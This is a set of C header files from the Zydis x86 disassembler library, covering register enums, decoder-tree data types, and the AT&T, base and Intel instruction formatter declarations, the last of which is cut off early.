ZYDIS_REGISTER_ZMM25,
ZYDIS_REGISTER_ZMM26,
ZYDIS_REGISTER_ZMM27,
ZYDIS_REGISTER_ZMM28,
ZYDIS_REGISTER_ZMM29,
ZYDIS_REGISTER_ZMM30,
ZYDIS_REGISTER_ZMM31,
// Matrix registers
ZYDIS_REGISTER_TMM0,
ZYDIS_REGISTER_TMM1,
ZYDIS_REGISTER_TMM2,
ZYDIS_REGISTER_TMM3,
ZYDIS_REGISTER_TMM4,
ZYDIS_REGISTER_TMM5,
ZYDIS_REGISTER_TMM6,
ZYDIS_REGISTER_TMM7,
// Flags registers
ZYDIS_REGISTER_FLAGS,
ZYDIS_REGISTER_EFLAGS,
ZYDIS_REGISTER_RFLAGS,
// Instruction-pointer registers
ZYDIS_REGISTER_IP,
ZYDIS_REGISTER_EIP,
ZYDIS_REGISTER_RIP,
// Segment registers
ZYDIS_REGISTER_ES,
ZYDIS_REGISTER_CS,
ZYDIS_REGISTER_SS,
ZYDIS_REGISTER_DS,
ZYDIS_REGISTER_FS,
ZYDIS_REGISTER_GS,
// Table registers
ZYDIS_REGISTER_GDTR,
ZYDIS_REGISTER_LDTR,
ZYDIS_REGISTER_IDTR,
ZYDIS_REGISTER_TR,
// Test registers
ZYDIS_REGISTER_TR0,
ZYDIS_REGISTER_TR1,
ZYDIS_REGISTER_TR2,
ZYDIS_REGISTER_TR3,
ZYDIS_REGISTER_TR4,
ZYDIS_REGISTER_TR5,
ZYDIS_REGISTER_TR6,
ZYDIS_REGISTER_TR7,
// Control registers
ZYDIS_REGISTER_CR0,
ZYDIS_REGISTER_CR1,
ZYDIS_REGISTER_CR2,
ZYDIS_REGISTER_CR3,
ZYDIS_REGISTER_CR4,
ZYDIS_REGISTER_CR5,
ZYDIS_REGISTER_CR6,
ZYDIS_REGISTER_CR7,
ZYDIS_REGISTER_CR8,
ZYDIS_REGISTER_CR9,
ZYDIS_REGISTER_CR10,
ZYDIS_REGISTER_CR11,
ZYDIS_REGISTER_CR12,
ZYDIS_REGISTER_CR13,
ZYDIS_REGISTER_CR14,
ZYDIS_REGISTER_CR15,
// Debug registers
ZYDIS_REGISTER_DR0,
ZYDIS_REGISTER_DR1,
ZYDIS_REGISTER_DR2,
ZYDIS_REGISTER_DR3,
ZYDIS_REGISTER_DR4,
ZYDIS_REGISTER_DR5,
ZYDIS_REGISTER_DR6,
ZYDIS_REGISTER_DR7,
ZYDIS_REGISTER_DR8,
ZYDIS_REGISTER_DR9,
ZYDIS_REGISTER_DR10,
ZYDIS_REGISTER_DR11,
ZYDIS_REGISTER_DR12,
ZYDIS_REGISTER_DR13,
ZYDIS_REGISTER_DR14,
ZYDIS_REGISTER_DR15,
// Mask registers
ZYDIS_REGISTER_K0,
ZYDIS_REGISTER_K1,
ZYDIS_REGISTER_K2,
ZYDIS_REGISTER_K3,
ZYDIS_REGISTER_K4,
ZYDIS_REGISTER_K5,
ZYDIS_REGISTER_K6,
ZYDIS_REGISTER_K7,
// Bound registers
ZYDIS_REGISTER_BND0,
ZYDIS_REGISTER_BND1,
ZYDIS_REGISTER_BND2,
ZYDIS_REGISTER_BND3,
ZYDIS_REGISTER_BNDCFG,
ZYDIS_REGISTER_BNDSTATUS,
// Uncategorized
ZYDIS_REGISTER_MXCSR,
ZYDIS_REGISTER_PKRU,
ZYDIS_REGISTER_XCR0,
/**
* Maximum value of this enum.
*/
ZYDIS_REGISTER_MAX_VALUE = ZYDIS_REGISTER_XCR0,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_REGISTER_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGISTER_MAX_VALUE)
} ZydisRegister;

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
#ifndef ZYDIS_INTERNAL_DECODERDATA_H
#define ZYDIS_INTERNAL_DECODERDATA_H
#include <Zycore/Defines.h>
#include <Zydis/DecoderTypes.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
// MSVC does not like types other than (un-)signed int for bit-fields
#ifdef ZYAN_MSVC
# pragma warning(push)
# pragma warning(disable:4214)
#endif
#pragma pack(push, 1)
/* ---------------------------------------------------------------------------------------------- */
/* Decoder tree */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisDecoderTreeNodeType` data-type.
*/
typedef ZyanU8 ZydisDecoderTreeNodeType;
/**
* Values that represent zydis decoder tree node types.
*/
enum ZydisDecoderTreeNodeTypes
{
ZYDIS_NODETYPE_INVALID = 0x00,
/**
* Reference to an instruction-definition.
*/
ZYDIS_NODETYPE_DEFINITION_MASK = 0x80,
/**
* Reference to an XOP-map filter.
*/
ZYDIS_NODETYPE_FILTER_XOP = 0x01,
/**
* Reference to an VEX-map filter.
*/
ZYDIS_NODETYPE_FILTER_VEX = 0x02,
/**
* Reference to an EVEX/MVEX-map filter.
*/
ZYDIS_NODETYPE_FILTER_EMVEX = 0x03,
/**
* Reference to an opcode filter.
*/
ZYDIS_NODETYPE_FILTER_OPCODE = 0x04,
/**
* Reference to an instruction-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE = 0x05,
/**
* Reference to an compacted instruction-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_COMPACT = 0x06,
/**
* Reference to a ModRM.mod filter.
*/
ZYDIS_NODETYPE_FILTER_MODRM_MOD = 0x07,
/**
* Reference to a compacted ModRM.mod filter.
*/
ZYDIS_NODETYPE_FILTER_MODRM_MOD_COMPACT = 0x08,
/**
* Reference to a ModRM.reg filter.
*/
ZYDIS_NODETYPE_FILTER_MODRM_REG = 0x09,
/**
* Reference to a ModRM.rm filter.
*/
ZYDIS_NODETYPE_FILTER_MODRM_RM = 0x0A,
/**
* Reference to a PrefixGroup1 filter.
*/
ZYDIS_NODETYPE_FILTER_PREFIX_GROUP1 = 0x0B,
/**
* Reference to a mandatory-prefix filter.
*/
ZYDIS_NODETYPE_FILTER_MANDATORY_PREFIX = 0x0C,
/**
* Reference to an operand-size filter.
*/
ZYDIS_NODETYPE_FILTER_OPERAND_SIZE = 0x0D,
/**
* Reference to an address-size filter.
*/
ZYDIS_NODETYPE_FILTER_ADDRESS_SIZE = 0x0E,
/**
* Reference to a vector-length filter.
*/
ZYDIS_NODETYPE_FILTER_VECTOR_LENGTH = 0x0F,
/**
* Reference to an REX/VEX/EVEX.W filter.
*/
ZYDIS_NODETYPE_FILTER_REX_W = 0x10,
/**
* Reference to an REX/VEX/EVEX.B filter.
*/
ZYDIS_NODETYPE_FILTER_REX_B = 0x11,
/**
* Reference to an EVEX.b filter.
*/
ZYDIS_NODETYPE_FILTER_EVEX_B = 0x12,
/**
* Reference to an MVEX.E filter.
*/
ZYDIS_NODETYPE_FILTER_MVEX_E = 0x13,
/**
* Reference to a AMD-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_AMD = 0x14,
/**
* Reference to a KNC-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_KNC = 0x15,
/**
* Reference to a MPX-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_MPX = 0x16,
/**
* Reference to a CET-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_CET = 0x17,
/**
* Reference to a LZCNT-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_LZCNT = 0x18,
/**
* Reference to a TZCNT-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_TZCNT = 0x19,
/**
* Reference to a WBNOINVD-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_WBNOINVD = 0x1A,
/**
* Reference to a CLDEMOTE-mode filter.
*/
ZYDIS_NODETYPE_FILTER_MODE_CLDEMOTE = 0x1B
};
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisDecoderTreeNodeValue` data-type.
*/
typedef ZyanU16 ZydisDecoderTreeNodeValue;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisDecoderTreeNode` struct.
*/
typedef struct ZydisDecoderTreeNode_
{
ZydisDecoderTreeNodeType type;
ZydisDecoderTreeNodeValue value;
} ZydisDecoderTreeNode;
/* ---------------------------------------------------------------------------------------------- */
#pragma pack(pop)
#ifdef ZYAN_MSVC
# pragma warning(pop)
#endif
/* ---------------------------------------------------------------------------------------------- */
/* Physical instruction encoding info */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisInstructionEncodingFlags` data-type.
*/
typedef ZyanU8 ZydisInstructionEncodingFlags;
/**
* The instruction has an optional modrm byte.
*/
#define ZYDIS_INSTR_ENC_FLAG_HAS_MODRM 0x01
/**
* The instruction has an optional displacement value.
*/
#define ZYDIS_INSTR_ENC_FLAG_HAS_DISP 0x02
/**
* The instruction has an optional immediate value.
*/
#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM0 0x04
/**
* The instruction has a second optional immediate value.
*/
#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM1 0x08
/**
* The instruction ignores the value of `modrm.mod` and always assumes `modrm.mod == 3`
* ("reg, reg" - form).
*
* Instructions with this flag can't have a SIB byte or a displacement value.
*/
#define ZYDIS_INSTR_ENC_FLAG_FORCE_REG_FORM 0x10
/**
* Defines the `ZydisInstructionEncodingInfo` struct.
*/
typedef struct ZydisInstructionEncodingInfo_
{
/**
* Contains flags with information about the physical instruction-encoding.
*/
ZydisInstructionEncodingFlags flags;
/**
* Displacement info.
*/
struct
{
/**
* The size of the displacement value.
*/
ZyanU8 size[3];
} disp;
/**
* Immediate info.
*/
struct
{
/**
* The size of the immediate value.
*/
ZyanU8 size[3];
/**
* Signals, if the value is signed.
*/
ZyanBool is_signed;
/**
* Signals, if the value is a relative offset.
*/
ZyanBool is_relative;
} imm[2];
} ZydisInstructionEncodingInfo;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Decoder tree */
/* ---------------------------------------------------------------------------------------------- */
extern const ZydisDecoderTreeNode zydis_decoder_tree_root;
/**
* Returns the root node of the instruction tree.
*
* @return The root node of the instruction tree.
*/
ZYAN_INLINE const ZydisDecoderTreeNode* ZydisDecoderTreeGetRootNode(void)
{
return &zydis_decoder_tree_root;
}
/**
* Returns the child node of `parent` specified by `index`.
*
* @param parent The parent node.
* @param index The index of the child node to retrieve.
*
* @return The specified child node.
*/
ZYDIS_NO_EXPORT const ZydisDecoderTreeNode* ZydisDecoderTreeGetChildNode(
const ZydisDecoderTreeNode* parent, ZyanU16 index);
/**
* Returns information about optional instruction parts (like modrm, displacement or
* immediates) for the instruction that is linked to the given `node`.
*
* @param node The instruction definition node.
* @param info A pointer to the `ZydisInstructionParts` struct.
*/
ZYDIS_NO_EXPORT void ZydisGetInstructionEncodingInfo(const ZydisDecoderTreeNode* node,
const ZydisInstructionEncodingInfo** info);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_INTERNAL_DECODERDATA_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements the `AT&T` style instruction-formatter.
*/
#ifndef ZYDIS_FORMATTER_ATT_H
#define ZYDIS_FORMATTER_ATT_H
#include <Zydis/Formatter.h>
#include <Zydis/Internal/FormatterBase.h>
#include <Zydis/Internal/String.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Formatter functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Instruction */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterATTFormatInstruction(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* Operands */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterATTFormatOperandMEM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* Elemental tokens */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterATTPrintMnemonic(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterATTPrintRegister(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg);
ZyanStatus ZydisFormatterATTPrintDISP(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterATTPrintIMM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Fomatter presets */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* AT&T */
/* ---------------------------------------------------------------------------------------------- */
/**
* The default formatter configuration for `AT&T` style disassembly.
*/
static const ZydisFormatter FORMATTER_ATT =
{
/* style */ ZYDIS_FORMATTER_STYLE_ATT,
/* force_memory_size */ ZYAN_FALSE,
/* force_memory_seg */ ZYAN_FALSE,
/* force_relative_branches */ ZYAN_FALSE,
/* force_relative_riprel */ ZYAN_FALSE,
/* print_branch_size */ ZYAN_FALSE,
/* detailed_prefixes */ ZYAN_FALSE,
/* addr_base */ ZYDIS_NUMERIC_BASE_HEX,
/* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED,
/* addr_padding_absolute */ ZYDIS_PADDING_AUTO,
/* addr_padding_relative */ 2,
/* disp_base */ ZYDIS_NUMERIC_BASE_HEX,
/* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED,
/* disp_padding */ 2,
/* imm_base */ ZYDIS_NUMERIC_BASE_HEX,
/* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO,
/* imm_padding */ 2,
/* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_registers */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT,
/* hex_uppercase */ ZYAN_TRUE,
/* number_format */
{
// ZYDIS_NUMERIC_BASE_DEC
{
// Prefix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
// Suffix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
}
},
// ZYDIS_NUMERIC_BASE_HEX
{
// Prefix
{
/* string */ &FORMATTER_ATT.number_format[
ZYDIS_NUMERIC_BASE_HEX][0].string_data,
/* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
// Suffix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
}
}
},
/* func_pre_instruction */ ZYAN_NULL,
/* func_post_instruction */ ZYAN_NULL,
/* func_format_instruction */ &ZydisFormatterATTFormatInstruction,
/* func_pre_operand */ ZYAN_NULL,
/* func_post_operand */ ZYAN_NULL,
/* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG,
/* func_format_operand_mem */ &ZydisFormatterATTFormatOperandMEM,
/* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR,
/* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM,
/* func_print_mnemonic */ &ZydisFormatterATTPrintMnemonic,
/* func_print_register */ &ZydisFormatterATTPrintRegister,
/* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS,
/* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL,
/* func_print_disp */ &ZydisFormatterATTPrintDISP,
/* func_print_imm */ &ZydisFormatterATTPrintIMM,
/* func_print_typecast */ ZYAN_NULL,
/* func_print_segment */ &ZydisFormatterBasePrintSegment,
/* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes,
/* func_print_decorator */ &ZydisFormatterBasePrintDecorator
};
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif // ZYDIS_FORMATTER_ATT_H

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Provides formatter functions that are shared between the different formatters.
*/
#ifndef ZYDIS_FORMATTER_BASE_H
#define ZYDIS_FORMATTER_BASE_H
#include <Zydis/Formatter.h>
#include <Zydis/Internal/String.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* String */
/* ---------------------------------------------------------------------------------------------- */
/**
* Appends an unsigned numeric value to the given string.
*
* @param formatter A pointer to the `ZydisFormatter` instance.
* @param base The numeric base.
* @param str The destination string.
* @param value The value.
* @param padding_length The padding length.
*/
#define ZYDIS_STRING_APPEND_NUM_U(formatter, base, str, value, padding_length) \
switch (base) \
{ \
case ZYDIS_NUMERIC_BASE_DEC: \
ZYAN_CHECK(ZydisStringAppendDecU(str, value, padding_length, \
(formatter)->number_format[base][0].string, \
(formatter)->number_format[base][1].string)); \
break; \
case ZYDIS_NUMERIC_BASE_HEX: \
ZYAN_CHECK(ZydisStringAppendHexU(str, value, padding_length, \
(formatter)->hex_uppercase, \
(formatter)->number_format[base][0].string, \
(formatter)->number_format[base][1].string)); \
break; \
default: \
return ZYAN_STATUS_INVALID_ARGUMENT; \
}
/**
* Appends a signed numeric value to the given string.
*
* @param formatter A pointer to the `ZydisFormatter` instance.
* @param base The numeric base.
* @param str The destination string.
* @param value The value.
* @param padding_length The padding length.
* @param force_sign Forces printing of the '+' sign for positive numbers.
*/
#define ZYDIS_STRING_APPEND_NUM_S(formatter, base, str, value, padding_length, force_sign) \
switch (base) \
{ \
case ZYDIS_NUMERIC_BASE_DEC: \
ZYAN_CHECK(ZydisStringAppendDecS(str, value, padding_length, force_sign, \
(formatter)->number_format[base][0].string, \
(formatter)->number_format[base][1].string)); \
break; \
case ZYDIS_NUMERIC_BASE_HEX: \
ZYAN_CHECK(ZydisStringAppendHexS(str, value, padding_length, \
(formatter)->hex_uppercase, force_sign, \
(formatter)->number_format[base][0].string, \
(formatter)->number_format[base][1].string)); \
break; \
default: \
return ZYAN_STATUS_INVALID_ARGUMENT; \
}
/* ---------------------------------------------------------------------------------------------- */
/* Buffer */
/* ---------------------------------------------------------------------------------------------- */
/**
* Invokes the `ZydisFormatterBufferAppend` routine, if tokenization is enabled for the
* current pass.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param type The token type.
*
* Using this macro instead of direct calls to `ZydisFormatterBufferAppend` greatly improves the
* performance for non-tokenizing passes.
*/
#define ZYDIS_BUFFER_APPEND_TOKEN(buffer, type) \
if ((buffer)->is_token_list) \
{ \
ZYAN_CHECK(ZydisFormatterBufferAppend(buffer, type)); \
}
/**
* Returns a snapshot of the buffer-state.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param state Receives a snapshot of the buffer-state.
*
* Using this macro instead of direct calls to `ZydisFormatterBufferRemember` improves the
* performance for non-tokenizing passes.
*/
#define ZYDIS_BUFFER_REMEMBER(buffer, state) \
if ((buffer)->is_token_list) \
{ \
(state) = (ZyanUPointer)(buffer)->string.vector.data; \
} else \
{ \
(state) = (ZyanUPointer)(buffer)->string.vector.size; \
}
/**
* Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix).
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param name The base name (without prefix) of the string- or token.
*/
#define ZYDIS_BUFFER_APPEND(buffer, name) \
if ((buffer)->is_token_list) \
{ \
ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \
} else \
{ \
ZYAN_CHECK(ZydisStringAppendShort(&buffer->string, &STR_ ## name)); \
}
// TODO: Implement `letter_case` for predefined tokens
/**
* Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix).
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param name The base name (without prefix) of the string- or token.
* @param letter-case The desired letter-case.
*/
#define ZYDIS_BUFFER_APPEND_CASE(buffer, name, letter_case) \
if ((buffer)->is_token_list) \
{ \
ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \
} else \
{ \
ZYAN_CHECK(ZydisStringAppendShortCase(&buffer->string, &STR_ ## name, letter_case)); \
}
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Helper functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Buffer */
/* ---------------------------------------------------------------------------------------------- */
// MSVC does not like the C99 flexible-array extension
#ifdef ZYAN_MSVC
# pragma warning(push)
# pragma warning(disable:4200)
#endif
#pragma pack(push, 1)
typedef struct ZydisPredefinedToken_
{
ZyanU8 size;
ZyanU8 next;
ZyanU8 data[];
} ZydisPredefinedToken;
#pragma pack(pop)
#ifdef ZYAN_MSVC
# pragma warning(pop)
#endif
/**
* Appends a predefined token-list to the `buffer`.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param data A pointer to the `ZydisPredefinedToken` struct.
*
* @return A zycore status code.
*
* This function is internally used to improve performance while adding static strings or multiple
* tokens at once.
*/
ZYAN_INLINE ZyanStatus ZydisFormatterBufferAppendPredefined(ZydisFormatterBuffer* buffer,
const ZydisPredefinedToken* data)
{
ZYAN_ASSERT(buffer);
ZYAN_ASSERT(data);
const ZyanUSize len = buffer->string.vector.size;
ZYAN_ASSERT((len > 0) && (len < 256));
if (buffer->capacity <= len + data->size)
{
return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE;
}
ZydisFormatterToken* const last = (ZydisFormatterToken*)buffer->string.vector.data - 1;
last->next = (ZyanU8)len;
ZYAN_MEMCPY((ZyanU8*)buffer->string.vector.data + len, &data->data[0], data->size);
const ZyanUSize delta = len + data->next;
buffer->capacity -= delta;
buffer->string.vector.data = (ZyanU8*)buffer->string.vector.data + delta;
buffer->string.vector.size = data->size - data->next;
buffer->string.vector.capacity = ZYAN_MIN(buffer->capacity, 255);
return ZYAN_STATUS_SUCCESS;
}
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the size to be used as explicit size suffix (`AT&T`) or explicit typecast
* (`INTEL`), if required.
*
* @param formatter A pointer to the `ZydisFormatter` instance.
* @param context A pointer to the `ZydisFormatterContext` struct.
* @param memop_id The operand-id of the instructions first memory operand.
*
* @return Returns the explicit size, if required, or `0`, if not needed.
*
* This function always returns a size different to `0`, if the `ZYDIS_FORMATTER_PROP_FORCE_SIZE`
* is set to `ZYAN_TRUE`.
*/
ZyanU32 ZydisFormatterHelperGetExplicitSize(const ZydisFormatter* formatter,
ZydisFormatterContext* context, ZyanU8 memop_id);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Formatter functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Operands */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterBaseFormatOperandREG(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterBaseFormatOperandPTR(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterBaseFormatOperandIMM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* Elemental tokens */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterBasePrintAddressABS(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterBasePrintAddressREL(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterBasePrintIMM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* Optional tokens */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterBasePrintSegment(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterBasePrintPrefixes(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterBasePrintDecorator(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif // ZYDIS_FORMATTER_BASE_H

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements the `INTEL` style instruction-formatter.
*/
#ifndef ZYDIS_FORMATTER_INTEL_H
#define ZYDIS_FORMATTER_INTEL_H
#include <Zydis/Formatter.h>
#include <Zydis/Internal/FormatterBase.h>
#include <Zydis/Internal/String.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Formatter functions */
/* ============================================================================================== */
